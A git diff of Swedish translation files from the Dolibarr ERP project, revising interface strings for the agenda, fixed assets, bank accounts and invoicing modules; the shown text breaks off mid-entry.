-AgendaModelModule=Dokumentmallar för event +AgendaModelModule=Dokumentmallar för händelser DateActionStart=Startdatum DateActionEnd=Slutdatum -AgendaUrlOptions1=Du kan också lägga till följande parametrar för att filtrera utgång: -AgendaUrlOptions3=Logina =%s ​​att begränsa produktionen till åtgärder som ägs av en användare%s. -AgendaUrlOptionsNotAdmin=  logina =! %s för att begränsa produktionen till åtgärder som inte ägs av user %s . -AgendaUrlOptions4=  logint = %s för att begränsa utdata till åtgärder som tilldelats user %s (ägare and andra). -AgendaUrlOptionsProject=  project = __ PROJECT_ID__ för att begränsa utsignalen till åtgärder linked till project __PROJECT_ID__ . -AgendaUrlOptionsNotAutoEvent=  notactiontype = systemauto för att utesluta automatisk events. -AgendaUrlOptionsIncludeHolidays=includeholidays=1 ta med helgdagar +AgendaUrlOptions1=Du kan också lägga till följande parametrar för att filtrera: +AgendaUrlOptions3=Logina =%s ​​att begränsa till åtgärder som ägs av en användare%s. +AgendaUrlOptionsNotAdmin= logina =! %s för att begränsa till åtgärder som inte ägs av användare %s . +AgendaUrlOptions4=logint= för att begränsa till åtgärder som tilldelats användare %s (ägare och andra) +AgendaUrlOptionsProject= project = __ PROJECT_ID__ för att begränsa till åtgärder länkade till projekt __PROJECT_ID__ . +AgendaUrlOptionsNotAutoEvent= notactiontype = systemauto för att utesluta automatiska händelser. +AgendaUrlOptionsIncludeHolidays=includeholidays=1 för att inkludera helgdagar AgendaShowBirthdayEvents=Kontakters födelsedagar -AgendaHideBirthdayEvents=Dölj födelsedagar av contacts +AgendaHideBirthdayEvents=Dölj kontakters födelsedagar Busy=Upptagen -ExportDataset_event1=Lista över dagordningen händelser -DefaultWorkingDays=Standard arbetsdagar varierar i veckan (exempel: 1-5, 1-6) -DefaultWorkingHours=Standard arbetstiden i dag (exempel: 9-18) +ExportDataset_event1=Lista händelser på dagordningen +DefaultWorkingDays=Spann på arbetsdagar under veckan (exempel: 1-5, 1-6) +DefaultWorkingHours=Arbetstid under en dag (exempel: 8-17) # External Sites ical -ExportCal=Export kalender -ExtSites=Importera externa kalendrar -ExtSitesEnableThisTool=Show externa kalendrar (definierad i global inställning) i Agenda. Inverkar inte på externa kalendrar som definieras av users. +ExportCal=Exportera kalender +ExtSites=Importera extern kalender +ExtSitesEnableThisTool=Visa extern kalender (angiven i global inställning) i dagordningen. Påverkar inte externa kalendrar som angivits av användare. ExtSitesNbOfAgenda=Antal kalendrar -AgendaExtNb=Kalender nr. %s -ExtSiteUrlAgenda=URL att komma åt. Ical-fil +AgendaExtNb=Kalender nr %s +ExtSiteUrlAgenda=URL för .ical-fil ExtSiteNoLabel=Ingen beskrivning VisibleTimeRange=Synligt tidsintervall -VisibleDaysRange=Synligt dagintervall -AddEvent=Skapa event +VisibleDaysRange=Synligt dagsintervall +AddEvent=Skapa händelse MyAvailability=Min tillgänglighet ActionType=Typ av händelse DateActionBegin=Startdatum för händelse -ConfirmCloneEvent=Är du säker på att du vill klona event %s ? +ConfirmCloneEvent=Är du säker på att du vill klona händelse %s ? RepeatEvent=Repetera händelsen OnceOnly=Endast en gång +EveryDay=Varje dag EveryWeek=Varje vecka EveryMonth=Varje månad DayOfMonth=Dag i månaden DayOfWeek=Dag i veckan DateStartPlusOne=Startdatum +1 timma -SetAllEventsToTodo=Sätt alla händelser "att göra" -SetAllEventsToInProgress=Sätt alla händelser under behandling -SetAllEventsToFinished=Sätt alla händelser som utförda -ReminderTime=Påminnelseperiod innan händelse +SetAllEventsToTodo=Ange alla händelser som att göra +SetAllEventsToInProgress=Ange alla händelser som under behandling +SetAllEventsToFinished=Ange alla händelser som utförda +ReminderTime=Påminnelse innan händelse TimeType=Varaktighetstyp -ReminderType=Återuppringningstyp -AddReminder=Skapa en automatisk påminnelsenotifiering för denna händelse -ErrorReminderActionCommCreation=Fel vid skapande av påminnelsenotifiering för denna händelse -BrowserPush=Meddelande om popup-webbläsare -ActiveByDefault=Enabled by default +ReminderType=Återanropstyp +AddReminder=Skapa en automatisk påminnelse för händelsen +ErrorReminderActionCommCreation=Fel vid skapande av påminnelse +BrowserPush=Popup i webbläsare +Reminders=Påminnelser +ActiveByDefault=Aktiverad som standard +Until=tills diff --git a/htdocs/langs/sv_SE/assets.lang b/htdocs/langs/sv_SE/assets.lang index 003cf538258..f7f921cf798 100644 --- a/htdocs/langs/sv_SE/assets.lang +++ b/htdocs/langs/sv_SE/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,52 +16,171 @@ # # Generic # -Assets = Tillgångar -NewAsset = Ny tillgång -AccountancyCodeAsset = Redovisningskod (tillgång) -AccountancyCodeDepreciationAsset = Redovisningskod (avskrivningstillgångskonto) -AccountancyCodeDepreciationExpense = Redovisningskod (avskrivningskostnadskonto) -NewAssetType=Ny tillgångstyp -AssetsTypeSetup=Inställning av tillgångstyp -AssetTypeModified=Asset typ modifierad -AssetType=Tillgångstyp +NewAsset=Ny tillgång +AccountancyCodeAsset=Redovisningskod (tillgång) +AccountancyCodeDepreciationAsset=Redovisningskod (avskrivningstillgångskonto) +AccountancyCodeDepreciationExpense=Redovisningskod (avskrivningskostnadskonto) AssetsLines=Tillgångar DeleteType=Radera -DeleteAnAssetType=Ta bort en tillgångstyp -ConfirmDeleteAssetType=Är du säker på att du vill ta bort denna tillgångstyp? -ShowTypeCard=Visa typ '%s' +DeleteAnAssetType=Ta bort en tillgångsmodell +ConfirmDeleteAssetType=Är du säker på att du vill ta bort den här tillgångsmodellen? +ShowTypeCard=Visa modell '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Tillgångar +ModuleAssetsName=Tillgångar # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Tillgångsbeskrivning +ModuleAssetsDesc=Tillgångsbeskrivning # # Admin page # -AssetsSetup = Inställning av tillgångar -Settings = inställningar -AssetsSetupPage = Inställningssidan för tillgångar -ExtraFieldsAssetsType = Kompletterande attribut (tillgångstyp) -AssetsType=Tillgångstyp -AssetsTypeId=Tillgångstyp id -AssetsTypeLabel=Typ av tillgångstyp -AssetsTypes=Tillgångstyper +AssetSetup=Inställning av tillgångar +AssetSetupPage=Inställningssida för tillgångar +ExtraFieldsAssetModel=Kompletterande attribut (tillgångens modell) + +AssetsType=Tillgångsmodell +AssetsTypeId=Tillgångsmodell-id +AssetsTypeLabel=Tillgångsmodelletikett +AssetsTypes=Tillgångsmodeller +ASSET_ACCOUNTANCY_CATEGORY=Redovisningsgrupp för anläggningstillgångar # # Menu # -MenuAssets = Tillgångar -MenuNewAsset = Ny tillgång -MenuTypeAssets = Skriv tillgångar -MenuListAssets = Lista -MenuNewTypeAssets = Ny -MenuListTypeAssets = Lista +MenuAssets=Tillgångar +MenuNewAsset=Ny tillgång +MenuAssetModels=Modelltillgångar +MenuListAssets=Lista +MenuNewAssetModel=Ny tillgångsmodell +MenuListAssetModels=Lista # # Module # +ConfirmDeleteAsset=Vill du verkligen ta bort den här tillgången? + +# +# Tab +# +AssetDepreciationOptions=Avskrivningsmöjligheter +AssetAccountancyCodes=Redovisningskonton +AssetDepreciation=Avskrivning + +# +# Asset +# Asset=Tillgång -NewAssetType=Ny tillgångstyp -NewAsset=Ny tillgång -ConfirmDeleteAsset=Är du säker på att du vill ta bort denna tillgång? +Assets=Tillgångar +AssetReversalAmountHT=Återföringsbelopp (utan skatter) +AssetAcquisitionValueHT=Förvärvsbelopp (utan skatter) +AssetRecoveredVAT=Återförd moms +AssetReversalDate=Återföringsdatum +AssetDateAcquisition=Förvärvsdatum +AssetDateStart=Datum för uppstart +AssetAcquisitionType=Typ av förvärv +AssetAcquisitionTypeNew=Ny +AssetAcquisitionTypeOccasion=Använd +AssetType=Typ av tillgång +AssetTypeIntangible=Immateriella +AssetTypeTangible=Materiella +AssetTypeInProgress=Pågående +AssetTypeFinancial=Finansiell +AssetNotDepreciated=Ej avskriven +AssetDisposal=Förfogande +AssetConfirmDisposalAsk=Är du säker på att du vill göra dig av med tillgången %s ? +AssetConfirmReOpenAsk=Är du säker på att du vill öppna tillgången %s igen? + +# +# Asset status +# +AssetInProgress=Pågående +AssetDisposed=Avyttrad +AssetRecorded=Redovisad + +# +# Asset disposal +# +AssetDisposalDate=Datum för avyttring +AssetDisposalAmount=Avyttringsvärde +AssetDisposalType=Typ av avyttring +AssetDisposalDepreciated=Skriv av överföringsåret +AssetDisposalSubjectToVat=Avyttring för moms + +# +# Asset model +# +AssetModel=Tillgångens modell +AssetModels=Tillgångens modeller + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Ekonomisk avskrivning +AssetDepreciationOptionAcceleratedDepreciation=Accelererad avskrivning (skatt) +AssetDepreciationOptionDepreciationType=Typ av avskrivning +AssetDepreciationOptionDepreciationTypeLinear=Linjär +AssetDepreciationOptionDepreciationTypeDegressive=Degressiv +AssetDepreciationOptionDepreciationTypeExceptional=Exceptionell +AssetDepreciationOptionDegressiveRate=Degressiv takt +AssetDepreciationOptionAcceleratedDepreciation=Accelererad avskrivning (skatt) +AssetDepreciationOptionDuration=Längd +AssetDepreciationOptionDurationType=Typ varaktighet +AssetDepreciationOptionDurationTypeAnnual=Årlig +AssetDepreciationOptionDurationTypeMonthly=Månatlig +AssetDepreciationOptionDurationTypeDaily=Daglig +AssetDepreciationOptionRate=Takt (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Avskrivningsunderlag (exkl. moms) +AssetDepreciationOptionAmountBaseDeductibleHT=Avdragsgill bas (exkl. moms) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Totalt belopp senaste avskrivning (exkl. moms) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Ekonomisk avskrivning +AssetAccountancyCodeAsset=Tillgång +AssetAccountancyCodeDepreciationAsset=Avskrivning +AssetAccountancyCodeDepreciationExpense=Avskrivningar +AssetAccountancyCodeValueAssetSold=Värdet på avyttrad tillgång +AssetAccountancyCodeReceivableOnAssignment=Fordran vid avyttring +AssetAccountancyCodeProceedsFromSales=Intäkter från avyttring +AssetAccountancyCodeVatCollected=Insamlad moms +AssetAccountancyCodeVatDeductible=Återförd moms på tillgångar +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Accelererad avskrivning (skatt) +AssetAccountancyCodeAcceleratedDepreciation=Konto +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Avskrivningar +AssetAccountancyCodeProvisionAcceleratedDepreciation=Återtagande/provision + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Avskrivningsunderlag (exkl. moms) +AssetDepreciationBeginDate=Start av avskrivning den +AssetDepreciationDuration=Längd +AssetDepreciationRate=Takt (%%) +AssetDepreciationDate=Avskrivningsdatum +AssetDepreciationHT=Avskrivning (exkl. moms) +AssetCumulativeDepreciationHT=Kumulativa avskrivningar (exkl. moms) +AssetResidualHT=Restvärde (exkl. moms) +AssetDispatchedInBookkeeping=Bokförda avskrivningar +AssetFutureDepreciationLine=Framtida avskrivningar +AssetDepreciationReversal=Återföring + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=Id för tillgången eller modellljudet har inte angetts +AssetErrorFetchAccountancyCodesForMode=Fel vid hämtning av bokföringskontona för avskrivningsläget '%s' +AssetErrorDeleteAccountancyCodesForMode=Fel vid radering av redovisningskonton från avskrivningsläget '%s' +AssetErrorInsertAccountancyCodesForMode=Fel vid infogning av bokföringskontona för avskrivningsläget '%s' +AssetErrorFetchDepreciationOptionsForMode=Fel vid hämtning av alternativ för avskrivningsläget '%s' +AssetErrorDeleteDepreciationOptionsForMode=Fel vid borttagning av "%s" alternativ för avskrivningsläge +AssetErrorInsertDepreciationOptionsForMode=Fel vid insättning av alternativen för '%s' avskrivningsläge +AssetErrorFetchDepreciationLines=Fel vid hämtning av registrerade avskrivningsrader +AssetErrorClearDepreciationLines=Fel vid rensning av registrerade avskrivningsrader (återföring och framtida) +AssetErrorAddDepreciationLine=Fel när en avskrivningsrad lades till +AssetErrorCalculationDepreciationLines=Fel vid beräkning av avskrivningsraderna (återföring och framtid) +AssetErrorReversalDateNotProvidedForMode=Återföringsdatumet anges inte för avskrivningsmetoden '%s' +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=Återföringsdatumet måste vara senare eller från början av innevarande räkenskapsår för avskrivningsmetoden '%s' +AssetErrorReversalAmountNotProvidedForMode=Återföringsbeloppet anges inte för avskrivningsläget '%s'. +AssetErrorFetchCumulativeDepreciation=Fel vid hämtning av det ackumulerade avskrivningsbeloppet från avskrivningsraden +AssetErrorSetLastCumulativeDepreciation=Fel vid registrering av det senaste ackumulerade avskrivningsbeloppet diff --git a/htdocs/langs/sv_SE/banks.lang b/htdocs/langs/sv_SE/banks.lang index f384fbb2c0d..71f714f2f81 100644 --- a/htdocs/langs/sv_SE/banks.lang +++ b/htdocs/langs/sv_SE/banks.lang @@ -1,38 +1,38 @@ # Dolibarr language file - Source file is en_US - banks Bank=Bank -MenuBankCash=Banker | Kontanter +MenuBankCash=Bank | Kontanter MenuVariousPayment=Diverse betalningar MenuNewVariousPayment=Ny diverse betalning BankName=Bankens namn FinancialAccount=Konto BankAccount=Bankkonto BankAccounts=Bankkonton -BankAccountsAndGateways=Bankkonton | Gateways +BankAccountsAndGateways=Bankkonton i gateways ShowAccount=Visa konto AccountRef=Finansiell balans ref AccountLabel=Finansiell balans etikett -CashAccount=Cash konto +CashAccount=Kontantkonto CashAccounts=Likvida medel CurrentAccounts=Löpande räkningar SavingAccounts=Sparkonton -ErrorBankLabelAlreadyExists=Finansiell balans etikett finns redan +ErrorBankLabelAlreadyExists=Finansiell balansetikett finns redan BankBalance=Balans BankBalanceBefore=Balans innan BankBalanceAfter=Balans efter BalanceMinimalAllowed=Minsta tillåtna balans BalanceMinimalDesired=Lägsta önskvärd balans -InitialBankBalance=Initial jämvikt -EndBankBalance=Avsluta balans -CurrentBalance=Aktuellt saldo +InitialBankBalance=Initial balans +EndBankBalance=Slutbalans +CurrentBalance=Aktuell balans FutureBalance=Framtida balans ShowAllTimeBalance=Visa balans från start AllTime=Från början Reconciliation=Avstämning RIB=Bankkontonummer IBAN=IBAN-nummer -BIC=BIC / SWIFT-kod -SwiftValid=BIC / SWIFT giltig -SwiftNotValid=BIC / SWIFT är ej giltigt +BIC=BIC/SWIFT-kod +SwiftValid=BIC/SWIFT giltig +SwiftNotValid=BIC/SWIFT är ej giltigt IbanValid=BAN giltig IbanNotValid=BAN är ej giltigt StandingOrders=Direkt debiteringsorder @@ -41,26 +41,29 @@ PaymentByDirectDebit=Direktbetalning PaymentByBankTransfers=Betalningar med kreditöverföring PaymentByBankTransfer=Betalning med kreditöverföring AccountStatement=Kontoutdrag -AccountStatementShort=Uttalande +AccountStatementShort=Utdrag AccountStatements=Kontoutdrag LastAccountStatements=Senaste kontoutdrag IOMonthlyReporting=Månadsrapport -BankAccountDomiciliation=bankadress +BankAccountDomiciliation=Bankadress BankAccountCountry=Konto land -BankAccountOwner=Konto ägare namn -BankAccountOwnerAddress=Konto ägare adress +BankAccountOwner=Kontoinnehavare namn +BankAccountOwnerAddress=Kontoinnehavare adress +BankAccountOwnerZip=Kontoägarens postnummer +BankAccountOwnerTown=Kontoägarens stad +BankAccountOwnerCountry=Kontoägarens land CreateAccount=Skapa konto NewBankAccount=Nytt konto -NewFinancialAccount=Nya finansiella konto -MenuNewFinancialAccount=Nya finansiella konto +NewFinancialAccount=Nytt finansiellt konto +MenuNewFinancialAccount=Nytt finansiellt konto EditFinancialAccount=Redigera konto -LabelBankCashAccount=Bank eller kontant etikett +LabelBankCashAccount=Etikett för bank eller kontant AccountType=Kontotyp BankType0=Sparkonto -BankType1=Bytesbalans -BankType2=Cash konto -AccountsArea=Konton område -AccountCard=Konto-kort +BankType1=Nuvarande eller kontokortskonto +BankType2=Kontantkonto +AccountsArea=Kontoområde +AccountCard=Kontokort DeleteAccount=Radera konto ConfirmDeleteAccount=Är du säker på att du vill radera detta konto? Account=Konto @@ -73,23 +76,23 @@ IdTransaction=Transaktions-ID BankTransactions=Bankposter BankTransaction=Bankpost ListTransactions=Lista poster -ListTransactionsByCategory=Lista poster / kategori -TransactionsToConciliate=Inlägg för att förena +ListTransactionsByCategory=Lista poster/kategori +TransactionsToConciliate=Poster att förlika TransactionsToConciliateShort=Att förlika -Conciliable=Kan förenas -Conciliate=Reconcile -Conciliation=Avstämning +Conciliable=Kan förlikas +Conciliate=Förlika +Conciliation=Förlikning SaveStatementOnly=Spara endast uttalandet -ReconciliationLate=Sen avstämning -IncludeClosedAccount=Inkludera stängda konton +ReconciliationLate=Sen förlikning +IncludeClosedAccount=Inkludera avslutade konton OnlyOpenedAccount=Enbart öppna konton -AccountToCredit=Hänsyn till kreditinstitut +AccountToCredit=Konto att kreditera AccountToDebit=Konto att debitera -DisableConciliation=Inaktivera försoning för den här kontot -ConciliationDisabled=Avstämning inaktiverad +DisableConciliation=Inaktivera förlikning för den här kontot +ConciliationDisabled=Förlikning inaktiverad LinkedToAConciliatedTransaction=Kopplad till en förlikad post StatusAccountOpened=Öppen -StatusAccountClosed=Stängt +StatusAccountClosed=Stängd AccountIdShort=Antal LineRecord=Transaktion AddBankRecord=Lägg till post @@ -110,58 +113,58 @@ BankTransfers=Kreditöverföringar MenuBankInternalTransfer=Intern överföring TransferDesc=Använd intern överföring för att överföra från ett konto till ett annat. Systemet kommer skapa två poster: en debit och en kredit, samma summa, benämning och datum kommer bli använt för transaktionen. TransferFrom=Från -TransferTo=För att +TransferTo=Till TransferFromToDone=En överföring från %s till %s av %s %s har registrerats. CheckTransmitter=Avsändare -ValidateCheckReceipt=Bekräfta detta check-kvitto? +ValidateCheckReceipt=Bekräfta detta checkkvitto? ConfirmValidateCheckReceipt=Är du säker på att du vill skicka det här kvittot för validering? Inga ändringar är möjliga när de validerats. DeleteCheckReceipt=Ta bort detta kvitto? ConfirmDeleteCheckReceipt=Är du säker på att du vill radera detta kvitto? BankChecks=Bankcheckar -BankChecksToReceipt=Checkar väntar på insättning -BankChecksToReceiptShort=Kontroller som väntar på insättning -ShowCheckReceipt=Visar kontrollera insättning mottagande +BankChecksToReceipt=Checkar som inväntar insättning +BankChecksToReceiptShort=Kontroller som inväntar insättning +ShowCheckReceipt=Visa kvitto för checkinsättning NumberOfCheques=Antal checkar DeleteTransaction=Ta bort post ConfirmDeleteTransaction=Är du säker på att du vill radera den här posten? ThisWillAlsoDeleteBankRecord=Detta kommer även att ta bort genererad bankpost -BankMovements=Rörelser +BankMovements=Förflyttningar PlannedTransactions=Planerade poster -Graph=Grafer/historik +Graph=Grafer ExportDataset_banque_1=Bankposter och kontoutdrag ExportDataset_banque_2=Insättningsblankett TransactionOnTheOtherAccount=Transaktionen på det andra kontot -PaymentNumberUpdateSucceeded=Betalningsnummer uppdaterat framgångsrikt +PaymentNumberUpdateSucceeded=Betalningsnummer uppdaterat PaymentNumberUpdateFailed=Betalningsnummer kunde inte uppdateras -PaymentDateUpdateSucceeded=Betalningsdatum uppdateras framgångsrikt +PaymentDateUpdateSucceeded=Betalningsdatum uppdaterat PaymentDateUpdateFailed=Betalningsdagen kunde inte uppdateras Transactions=Transaktioner BankTransactionLine=Bankpost -AllAccounts=Alla bank- och kontonkonton +AllAccounts=Alla bank- och kontantkonton BackToAccount=Tillbaka till konto ShowAllAccounts=Visa för alla konton -FutureTransaction=Framtida transaktion. Det gick inte att förena. -SelectChequeTransactionAndGenerate=Välj / filtrera de checkar som ska ingå i kvittot på check. Klicka sedan på "Skapa". +FutureTransaction=Framtida transaktion. Det gick inte att stämma av. +SelectChequeTransactionAndGenerate=Välj/filtrera de checkar som ska ingå i kvittot på check. Klicka sedan på "Skapa". InputReceiptNumber=Välj kontoutdrag relaterat till förlikningen. Använd ett sorterbart numeriskt värde: YYYYMM or YYYYMMDD -EventualyAddCategory=Så småningom, ange en kategori då för att märka posterna +EventualyAddCategory=Ange en kategori för att dela upp posterna ToConciliate=Att avstämma? -ThenCheckLinesAndConciliate=Kontrollera sedan linjerna som finns i kontoutdraget och klicka +ThenCheckLinesAndConciliate=Kontrollera sedan raderna som finns i kontoutdraget och klicka DefaultRIB=Standard BAN AllRIB=Alla BAN LabelRIB=BAN etikett -NoBANRecord=Inget BAN rad +NoBANRecord=Ingen BAN rad DeleteARib=Radera BAN rad ConfirmDeleteRib=Är du säker på att du vill ta bort denna BAN-post? -RejectCheck=Kontrollera tillbaka -ConfirmRejectCheck=Är du säker på att du vill markera den här kontrollen som avvisad? -RejectCheckDate=Datumet kontrollen returnerades -CheckRejected=Kontrollera tillbaka -CheckRejectedAndInvoicesReopened=Kontrollera retur och fakturor öppnas igen +RejectCheck=Check returnerad +ConfirmRejectCheck=Är du säker på att du vill markera den här checken som avvisad? +RejectCheckDate=Datumet då checken returnerades +CheckRejected=Check returnerad +CheckRejectedAndInvoicesReopened=Check returnerad och faktura öppnas igen BankAccountModelModule=Dokumentmallar för bankkonton DocumentModelSepaMandate=Mall för SEPA-mandat. Användbar endast för europeiska länder i EEG. DocumentModelBan=Mall för att skriva ut en sida med BAN-information. -NewVariousPayment=Ny "övrig" betalning -VariousPayment=Övriga betalningar +NewVariousPayment=Ny övrig betalning +VariousPayment=Övrig betalning VariousPayments=Diverse betalningar ShowVariousPayment=Visa övriga betalningar AddVariousPayment=Lägg till övrig betalning @@ -172,16 +175,16 @@ SEPAMandate=SEPA-mandatet YourSEPAMandate=Ditt SEPA-mandat FindYourSEPAMandate=Detta är ditt SEPA-mandat för att bemyndiga vårt företag att göra direkt debitering till din bank. Returnera det undertecknat (skanna av det signerade dokumentet) eller skicka det via post till AutoReportLastAccountStatement=Fyll i fältet 'Antal kontoutdrag' automatiskt med det sista kontonummeret när avstämning görs -CashControl=POS cash control -NewCashFence=New cash control (opening or closing) -BankColorizeMovement=Colorize rörelser -BankColorizeMovementDesc=Om den här funktionen är aktiverad kan du välja en specifik bakgrundsfärg för debiterings- eller kreditrörelser -BankColorizeMovementName1=Bakgrundsfärg för debiteringsrörelse -BankColorizeMovementName2=Bakgrundsfärg för kreditrörelse +CashControl=POS kontantkontroll +NewCashFence=Ny kontantkontroll (öppning eller stängning) +BankColorizeMovement=Färglägg förflyttningar +BankColorizeMovementDesc=Om den här funktionen är aktiverad kan du välja en specifik bakgrundsfärg för debit- eller kreditrörelser +BankColorizeMovementName1=Bakgrundsfärg för debitförflyttning +BankColorizeMovementName2=Bakgrundsfärg för kreditförflyttning IfYouDontReconcileDisableProperty=Om du inte gör någon bankavstämning på vissa bankkonton, inaktivera "%s" på dem för att ta bort denna varning NoBankAccountDefined=Inget bankkonto definerat NoRecordFoundIBankcAccount=Ingen post hittades på bankkontot. Vanligtvis inträffar detta när en post har raderats manuellt från transaktionslistan på bankkontot (till exempel under en avstämning av bankkontot). En annan anledning är att betalningen registrerades när modulen "%s" inaktiverades. -AlreadyOneBankAccount=Already one bank account defined -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. -ToCreateRelatedRecordIntoBank=To create missing related bank record +AlreadyOneBankAccount=Ett bankkonto har redan definierats +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA-överföring: 'Betalningstyp' på 'Credit Transfer'-nivå +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=När du genererar en SEPA XML-fil för kreditöverföringar kan avsnittet "PaymentTypeInformation" nu placeras i avsnittet "CreditTransferTransactionInformation" (istället för avsnittet "Payment"). Vi rekommenderar starkt att du inte markerar detta för att placera PaymentTypeInformation på betalningsnivå, eftersom alla banker inte nödvändigtvis accepterar det på CreditTransferTransactionInformation-nivå. Kontakta din bank innan du placerar PaymentTypeInformation på CreditTransferTransactionInformation-nivå. +ToCreateRelatedRecordIntoBank=För att skapa en relaterad bankpost som saknas diff --git a/htdocs/langs/sv_SE/bills.lang b/htdocs/langs/sv_SE/bills.lang index 73f62304938..084acaadccd 100644 --- a/htdocs/langs/sv_SE/bills.lang +++ b/htdocs/langs/sv_SE/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Kundfakturor statistik BillsStatisticsSuppliers=Leverantörer fakturor statistik DisabledBecauseDispatchedInBookkeeping=Inaktiverad eftersom fakturan skickades till bokföring DisabledBecauseNotLastInvoice=Inaktiverad eftersom fakturan inte kan raderas. Vissa fakturor registrerades efter den här och det kommer att skapa hål i räknaren. +DisabledBecauseNotLastSituationInvoice=Inaktiverad eftersom faktura inte går att radera. Denna faktura är inte den sista i situationens fakturacykel. DisabledBecauseNotErasable=Inaktiverad eftersom kan inte raderas InvoiceStandard=Standard faktura InvoiceStandardAsk=Standard faktura InvoiceStandardDesc=Denna typ av faktura är den gemensamma fakturan. +InvoiceStandardShort=Standard InvoiceDeposit=Nedbetalningsfaktura InvoiceDepositAsk=Nedbetalningsfaktura InvoiceDepositDesc=Denna typ av faktura görs när en förskottsbetalning har mottagits. @@ -24,6 +26,7 @@ InvoiceProForma=Proforma faktura InvoiceProFormaAsk=Proforma faktura InvoiceProFormaDesc=Proforma faktura är en bild av en sann faktura men har ingen bokföring värde. InvoiceReplacement=Ersättnings faktura +InvoiceReplacementShort=Ersättning InvoiceReplacementAsk=Ersättnings faktura för faktura InvoiceReplacementDesc= Ersättningsfaktura används för att helt ersätta en faktura utan redan mottagen betalning.

      Obs! Endast fakturor utan betalning kan ersättas. Om fakturan du byter ut ännu inte stängs stängs den automatiskt för 'övergiven'. InvoiceAvoir=Kreditnota @@ -81,14 +84,14 @@ PaymentsReports=Betalningar rapporter PaymentsAlreadyDone=Betalningar redan gjort PaymentsBackAlreadyDone=Återbetalningar redan gjorda PaymentRule=Betalningsregel -PaymentMode=Payment method -PaymentModes=Payment methods -DefaultPaymentMode=Default Payment method +PaymentMode=Betalningsmetod +PaymentModes=Betalningsmetoder +DefaultPaymentMode=Standard betalningsmetod DefaultBankAccount=Standard bankkonto -IdPaymentMode=Payment method (id) -CodePaymentMode=Payment method (code) -LabelPaymentMode=Payment method (label) -PaymentModeShort=Payment method +IdPaymentMode=Betalningsmetod (id) +CodePaymentMode=Betalningsmetod (kod) +LabelPaymentMode=Betalningsmetod (namn) +PaymentModeShort=Betalningsmetod PaymentTerm=Betalningsvillkor PaymentConditions=Betalningsvillkor PaymentConditionsShort=Betalningsvillkor @@ -140,7 +143,7 @@ Refunded=återbetalas BillShortStatusConverted=Betald BillShortStatusCanceled=Övergiven BillShortStatusValidated=Bekräftat -BillShortStatusStarted=Började +BillShortStatusStarted=Påbörjad BillShortStatusNotPaid=Ej betald BillShortStatusNotRefunded=Icke återbetalad BillShortStatusClosedUnpaid=Stängt @@ -156,9 +159,10 @@ ErrorInvoiceAvoirMustBeNegative=Fel, måste korrigera fakturan ett negativt belo ErrorInvoiceOfThisTypeMustBePositive=Fel, denna typ av faktura måste ha ett belopp exklusive skattepositivt (eller null) ErrorCantCancelIfReplacementInvoiceNotValidated=Fel, kan inte avbryta en faktura som har ersatts av en annan faktura som fortfarande i utkast status ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Den här delen eller en annan används redan så att rabattserier inte kan tas bort. -ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. +ErrorInvoiceIsNotLastOfSameType=Fel: Datumet för fakturan %s är %s. Det måste vara efter eller samma som sista datum för samma typ av fakturor (%s). Ändra fakturadatum. BillFrom=Från BillTo=Fakturamottagare +ShippingTo=Levereras til ActionsOnBill=Åtgärder mot faktura RecurringInvoiceTemplate=Mall / Återkommande faktura NoQualifiedRecurringInvoiceTemplateFound=Ingen återkommande mallfaktura kvalificerad för generation. @@ -192,7 +196,7 @@ ConfirmClassifyPaidPartiallyReasonDiscount=Återstående obetald (%s %s) (%s %s) är en rabatt som beviljats ​​eftersom betalningen gjordes före villkoren. Jag godkänner förlust av momsen på denna rabatt. ConfirmClassifyPaidPartiallyReasonDiscountVat=Återstående obetalt (%s %s) är en rabatt som beviljats ​​eftersom betalningen gjordes före villkoren. Jag återskapar momsen på denna rabatt med en kreditnota. ConfirmClassifyPaidPartiallyReasonBadCustomer=Dålig kund -ConfirmClassifyPaidPartiallyReasonBankCharge=Deduction by bank (intermediary bank fees) +ConfirmClassifyPaidPartiallyReasonBankCharge=Avdrag för bank (förmedlande bankavgifter) ConfirmClassifyPaidPartiallyReasonProductReturned=Produkter som returneras delvis ConfirmClassifyPaidPartiallyReasonOther=Belopp övergivna av annan orsak ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=Detta val är möjligt om din faktura har fått lämpliga kommentarer. (Exempel «Endast den skatt som motsvarar det pris som faktiskt betalats ger rätt till avdrag») @@ -200,7 +204,7 @@ ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=I vissa länder kan detta val ConfirmClassifyPaidPartiallyReasonAvoirDesc=Använd detta val om alla andra inte passar ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=En fel kund är en kund som vägrar att betala sin skuld. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=Detta val används när betalningen är inte fullständig eftersom vissa av produkterna var tillbaka -ConfirmClassifyPaidPartiallyReasonBankChargeDesc=The 